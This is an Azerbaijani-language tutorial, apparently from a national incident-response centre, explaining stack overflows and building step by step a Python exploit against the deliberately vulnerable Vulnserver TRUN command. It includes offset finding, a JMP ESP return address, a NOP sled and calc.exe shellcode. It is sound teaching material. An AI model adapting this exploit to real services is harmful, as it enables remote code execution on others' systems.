XÜSUSİ RABİTƏ VƏ İNFORMASİYA
TƏHLÜKƏSİZLİYİ DÖVLƏT XİDMƏTİ

KOMPÜTER İNSİDENTLƏRİNƏ QARŞI MÜBARİZƏ MƏRKƏZİ

İnsident bildir

Məqalələr > Stack Overflow

13 Avg 2014

Stack nədir?

Stack Proseslərin yaddaş hissəsidir. LIFO (last in first out) texnikasi ilə işləyir yani sonuncu daxil olan məlumat birinci çıxır. Stack yaradıldığı zaman ölçüsü təyin edilir və deyişməz olaraq qalır. Stack ərazisində proqrama aid funksiya zəngləri ,dəyişənlər və başqa məlumatlar saxlanılır. Bu əraziyə yeni məlumat daxil olduqda PUSH edildiyi zaman stack pointer azalır və daha aşağı adress dəyərinə sahib olur. Proqram tərkibində funksiyalar çağrıldıqca istifadə olunan parametrlər stackdə saxlanılır. Stack overflow stackdə dəyişənlərə ayrılan yerin dolması ilə meydana gəlir.

Yəni char dəyişən[128] stekdə 128 byte yer ayırır. Əlbətdə bu 128 baytdan biraz daha çox olur. Çünki, yer ayırmanı kompilyatorlar həyata keçirirlər və onlar özləridə byte uzunluğunu artırırlar. Artırılan byte uzuluğu müxtəlif kompilyatorlarda müxtəlif ola biler.

Bele bir kiçik proqram fikirləşin. Proqram 128 baytlıq + əlave kompilyator baytı stəkde yer ayırır. Və özünə parametr olaraq gələn məlumatı bu dəyişənə yəni ayrılmış bölgəyə kopyalayır. Məlumat ayrılan ümümi bayt uzunluğundan yüksək deyilsə proqram normal işləyəcək amma məsələn 152 bayt yer ayrılıbsa və daxil olan parametrin uzunluğu bundan çoxdursa bu zaman stək overflow meydana gəlir. Bunu aşağıda daha rahat başa düşəcəksiniz.

Test üçün Stephen Bradshaw tərəfindən yazılmış və tərkibində bu tip boşluqların olduğu proqram üzərində test edəciyik. Proqramın yazılma səbəbi məhz bu tip proqramları test etməkdir.
Stack overflow boşlugu cari proqramda TRUN əmrində yerləşir. 
Explotasiya zamanı Python proqramlaşdırma dilindən istifadə olunacaq.
Versiya 3.4.1
Əməliyyat sistemi Windows XP SP3 Eng
Debugger olaraq WINDBG.
Əməliyyat sisteminin versiyasını yazmağımızın səbəbi var.
Çünki, explotasiya zamanı shellkodlar sistəmə uyğun olmalıdır. Əks təqdirdə nəticə mənfi olacaq.

İlk öncə Netcat proqramı ilə serverə qoşulaq və əmr haqqında biraz məlumat alaq.

C:\Documents and Settings\home-lab\Desktop>nc 127.0.0.1 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
TRUN .TEST1
TRUN COMPLETE
EXIT
GOODBYE

Gördüyümüz kimi əməliyyatımız uğurla keçdi. İndi bu əməliyyatı həyata keçirən Python scriptimizi yazaq.

 

  • import socket
  • #StackOverflow test script.
  • REMOTE_ADDR = '127.0.0.1' #Qosulacagimiz socket
  • REMOTE_PORT = 9999 #Qosulacagimiz port
  • addr = (REMOTE_ADDR,REMOTE_PORT)
  • Sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  • Sock.connect(addr) #Servere qosuluruq.
  • #Kamandamizi gonderirik.
  • Sock.sendall(b'TRUN .TEST1')
  • recv = Sock.recv(1024)
  • print(repr(recv))
  • Sock.close()
  • Test edirik ve tam islekdir.
  • Indi TEST1 deyil daha cox byte gondermeyimiz lazimdir.
  • Ilk once 2500 bayt gonderirik.
  • Bunun ucun scriptimizde biraz deyisiklik etmeliyik.
  • Cun ki,manual 2500 bayt yazmaq biraz agilsiqliq olar 
  • data = 'TRUN .';
  • data += "\x41" * 2500; #2500 byte gonderirik,
  • Sock.sendall( data.encode() )
     

 

Gördüyünüz kimi proqramımız error verdi və çıxdı. Burdan başa düşürük ki, Proqramımız 2500 baytdan daha az yer yaradır (Allocate) edir. Bu isə o deməkdir ki, 2500 bayt bizə kifayət edər.
Bəs yuxarıda işarə elədiyimiz yer yəni offset 41414141 nədir?
WinDbg ilə test edirik.
 

 

Gördüyünüz kimi EIP adresimiz dəyişildi. 
EIP nədir.?
Instruction Pointer.
Bir sonrakı əmrin yerinə yetiriləcəyi adresin offsetini özündə saxlayır.
Burda EIP aldığı dəyərə baxırıq.
41414141 ?
41 A hərfinin hex qarşılığıdır.

Python 3.4.1 (v3.4.1:c0e311e010fc, May 18 2014, 10:38:22) [MSC v.1600 32 bit (Intel)]
Type "help", "copyright", "credits" or "license" for more information.
>>> '\x41'
'A'

Bildiyiniz kimi biz servərə 2500 ədəd A hərfinin byte qarşılığını göndərdik.
Burdan hansı nəticəyə gəlmək olar.
Stack sərhəddini aşdı və EIP bizim istədiyimiz dəyəri aldı.
Bəs ESP-də nə baş verdi?
ESP Stack POINTER ümümi stack ərazisini özündə saxlayır.
Gəlin yaddaşda esp ərazisinə baxaq
 

 

Bəli gördüyünüz kimi ESP-mizdə yəni stack ərazimizdə zədələnib. Bu halda neynəmək olar? ESP-yə yəni Stack ərazimizə pis niyyetli kodlarımızı yazıb, EIP də yəni növbəti əmrin olduğu adresidə ESP olaraq göstərsək proqram ESP-yə gedib orda olan kodları işə salacaq.
 

 

Lakin burada bir problem var. 2500 eded x41 göndərdik ve EIP dəyisdi amma hansı x41 EIP üzərinə düşür yəni hansı 4 bayt EIP-ə düşdüyünü bilməliyik. Birdə yoxlayırıq bu dəfə 2500 ədəd x41 və 4byte x42(B) hərfini göndəririk.

data = 'TRUN .';
data += "\x41" * 2500; #2500 byte göndəririk.
data += '\x42' * 4

 


 

Gördüyünüz kimi x42 stekə yazıldı amma EIP təsir göstərmədi. EIP dəyişmək üçün bizə proqramın neçənci baytdan sonra EİP-ə təsir göstərdiyini bilməliyik. Bunun üçün pattern_createden istifadə edirik.
Pattern create istədiyimiz uzunluqda bir birindən fərqlı baytlar yaradır və sonradan EIP dəyişdiyi zaman hansı offsetdə dəyişdiyini hesablaya bilir. Metasploit alətidir.
İstifadə qaydası asağıdakı kimidir.
2500 ədəd A hərfini pattern_create ile yaradılmış baytlarla əvəzləyirik.
 

 

Nəticəni copy_paste edirik x41 lərin yerinə yəni bu şəkildə uzun olduğu üçün bir qismini göstəririk.

data = 'TRUN .';
data += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab....”

Və göndəririk serverə.


Artıq EIP ünvanımız dəyişdi.

EIP=396f4338

Daha sonra bunu pattern_offset ilə neçənci bayta uyğun gəldiyini öyrənirik.

msf > ruby pattern_offset.rb 396f4338 2500
[*] exec: ruby pattern_offset.rb 396f4338 2500

2006

Beli 2006.
Bu dəfə bu tip errorla qarşılaşırıq.

(f78.f34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for image00400000
eax=0146f294 ebx=0000075c ecx=003e6c08 edx=00001000 esi=004c2000 edi=004c20f0
eip=00401d0a esp=0146fa0c ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010282
image00400000+0x1d0a:
00401d0a 8985a4faffff mov dword ptr [ebp-55Ch],eax ss:0023:41413be5=????????
0:003> d eax
0146f294 414141d5 41414141 41414141 41414141
0146f2a4 41414141 41414141 41414141 41414141
0146f2b4 41414141 41414141 41414141 41414141
0146f2c4 41414141 41414141 41414141 41414141
0146f2d4 41414141 41414141 41414141 41414141
0146f2e4 41414141 41414141 41414141 41414141
0146f2f4 41414141 41414141 41414141 41414141
0146f304 41414141 41414141 41414141 41414141
Gördüyünüz kimi EAX da zədələnib amma EIP-ə çatmır.
EIP dəyişmək üçün bizə daha 4 bayt lazımdır.

Yəni 2006 ədəd A ve 4 ədəd C hərfini göndərək və baxaq nə baş verir.
 

 

Bəli gördüyünüz kimi artıq EIP adresimiz istədiyimiz kimi dəyişildi. Amma ESP normal vəziyyətindədir. ESP zədələmək üçün bizə əlavə baytlar lazımdı. Bunun üçün 100 ədəd D hərfini gündəririk serverə.


data = 'TRUN .';
data += "\x41" * 2006; #2500 byte gonderirik,
data += '\x43' * 4;
data += '\x44' * 100

 

 

Bəli artıq ESPmizədə istədiyimiz datanı yaza bilirik. Bəs EIP-mizi ESP-mizin olduğu adresə yönləndirsək uğurla olacaq? - Xeyr! Çünki, proqramın birbaşa öz ESP-sinə keçməyi(Yəni birbaşa EİP dəyişmək) işə yaramır. Təhlükəsizlik üçün nəzərdə tutulub.
Buna görə bizə proqramın tərkibində və ya modulların içərisində ESP-yə tullanan bir instruction tapmalıyıq. Assembler dilində bu JMP ESP qarşılığını verir.
Proqramın işə salınması zamanı load olunan modullara baxırıq.


ModLoad: 00400000 00407000 image00400000
ModLoad: 7c900000 7c9af000 ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 62500000 62508000 C:\Documents and Settings\home-lab\Desktop\essfunc.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.DLL
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll

Essfunc dll proqramın öz moduludur.
Gəlin onun içərisində bizə lazım olan instruction-nu axtaraq.

Ryan Permenin findjmp alətindən istifade edirik. Bu tool modulun içərisində bu instructioni axtarır.
Ffe4

Nəticə.
 

 

Bəli gördüyünüz kimi adreslərimizdə hazırdı bunlardan birini istifadə edə bilərik.

Indi test üçün adresə x41x42x43x44 göndəririk və test edirik.

  • import socket
  • #StackOverflow test script.
  • REMOTE_ADDR = '127.0.0.1' #Qosulacagimiz socket
  • REMOTE_PORT = 9999 #Qosulacagimiz port
  • addr = (REMOTE_ADDR,REMOTE_PORT)
  • Sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  • Sock.connect(addr) #Servere qosuluruq.
  • #Kamandamizi gonderirik.
  •  
  • data = 'TRUN .';
  • data += "\x41" * 2006; #2500 byte gonderirik,
  • data += '\x41\x42\x43\x44'
  • data += '\x44' * 100
  • Sock.sendall( data.encode() )
  • recv = Sock.recv(1024)
  • print(repr(recv))
  • Sock.close()

 

 

Bəli dəyişdi amma necə dəyişdi?
Diqqət etdinizsə biz x41x42x43x44 olaraq göndərdik amma EIPdə bu x44x43x42x41 olaraq dəyişdi. Səbəbi Intel x86 microprosesorları little_endian modelini dəstəkləyir. Yəni x86 yaddaşdan məlumat kiçik dəyərdən böyüyə doğru oxuyurlar. Yəni əgər biz EIP ABCD göndərsək EIPdə bu DCBA olaraq dəyişəcək.
Deməli uyğun nəticəni almaq üçün məlumatı tərs göndərmək lazımdır. ABCD ni almaq üçün DCBA olaraq göndərməliyik.
Gəlin yoxlayaq.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0146f22c ebx=0000075c ecx=003e6c70 edx=00000000 esi=004c2000 edi=004c20f0
eip=41424344 esp=0146fa0c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41424344 ??

Bəli artıq hər şey hazırdır.

ESPImizə [1-9] göndəririk və test edirik.
 

 

Espimizdə hazırdır.
Deməli EIP adresimiz olacaq


0x62501205 = b’\x05\x12\x50\x62’

 

  • import socket
  • #StackOverflow test script.
  • REMOTE_ADDR = '127.0.0.1' #Qosulacagimiz socket
  • REMOTE_PORT = 9999 #Qosulacagimiz port
  • addr = (REMOTE_ADDR,REMOTE_PORT)
  • Sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  • Sock.connect(addr) #Servere qosuluruq.
  • #Kamandamizi gonderirik.
  •  
  • data = 'TRUN .';
  • data += "\x41" * 2006; #2500 byte gonderirik,
  • EIP = b'\x05\x12\x50\x62' #0x62501205
  • ESP = '123456789'
  • Sock.sendall( data.encode() + EIP + ESP.encode())
  • recv = Sock.recv(1024)
  • print(repr(recv))
  • Sock.close()
     

 

Hər şey yolundadır burda bir məsələ var. Çoxları burda bir problemlə qarşılaşırlar - EIP-in ünvanı.
EIP burda biz verdiyimiz ünvanı göstərmədi yuxarıda ki, şəkildə EIP-ə diqqət yetirin.
Səbəbi ünvanın var olmasıdır.
Yeni ünvan oldugu üçün EIP avtomatik olaraq həmin ünvana keçir və növbəti offseti alır.
Bunu yoxlamağın və əmin olmanın ən yaxsı üsulu EIP adresimizə breakpoint verib test etməkdir daha sonra isə trace edib hara gedəcəyimizə baxarıq.
 

 

Gördüyünüz kimi nətice müsbətdir. Bundan sonrası artıq qalır shellkodumuzu ESP yə yazıb işə salmağa. Shellcode seçimində dediyimiz kimi əməliyyat sistemlərini diqqətə alın.

  • import socket
  • #StackOverflow test script.
  • REMOTE_ADDR = '127.0.0.1' #Qosulacagimiz socket
  • REMOTE_PORT = 9999 #Qosulacagimiz port
  • addr = (REMOTE_ADDR,REMOTE_PORT)
  • Sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  • Sock.connect(addr) #Servere qosuluruq.
  • #Kamandamizi gonderirik.
  •  
  • data = 'TRUN .';
  • data += "\x41" * 2006; #2500 byte gonderirik,
  • data +='\x05\x12\x50\x62'
  • nop = b'\x90' * 20
  • buf = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" ##SHELLKODUMUZ win32_SP3_ENG=>calc.exe
  • Sock.sendall( data.encode() + nop + buf)
  • recv = Sock.recv(1024)
  • print(repr(recv))
  • Sock.close()